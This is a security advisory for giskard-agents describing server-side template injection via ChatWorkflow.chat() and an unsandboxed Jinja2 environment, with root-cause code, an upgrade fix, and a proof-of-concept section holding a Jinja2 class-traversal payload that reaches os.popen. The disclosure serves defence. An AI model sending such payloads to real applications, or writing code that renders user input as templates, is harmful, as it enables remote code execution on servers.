VDB
Sign up
—

PYSEC-2026-2487

Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment

Quick fix

PYSEC-2026-2487 — giskard-agents: upgrade to the fixed version with the command below.

pip install --upgrade 'giskard-agents>=0.3.4'

Details

## Summary

`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.

The method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.

## Root Cause

`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261: ```python def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self: if isinstance(message, str): message = MessageTemplate(role=role, content_template=message) ```

The string becomes `content_template`, which is parsed by `from_string()`:

`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15: ```python def render(self, **kwargs: Any) -> Message: template = _inline_env.from_string(self.content_template) rendered_content = template.render(**kwargs) ```

The Jinja2 Environment is not sandboxed:

`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37: ```python _inline_env = Environment( autoescape=False, # Not SandboxedEnvironment ) ```

## Proof of Concept

```python from jinja2 import Environment env = Environment() # Same as giskard's _inline_env

# Class traversal reaches os.popen t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}") print(t.render()) # 342 accessible subclasses

# Full RCE payload (subclass index varies by Python version) # {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }} ```

A developer building a chatbot: ```python workflow = ChatWorkflow(generator=my_llm) workflow = workflow.chat(user_input) # user_input parsed as Jinja2 template result = await workflow.run() # RCE if user_input contains {{ payload }} ```

Note: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.

## Impact

Remote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.

Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).

# Mitigation

Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.

The fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/giskard-agents
Introduced in: 0Fixed in: 0.3.4
Fixpip install --upgrade 'giskard-agents>=0.3.4'

References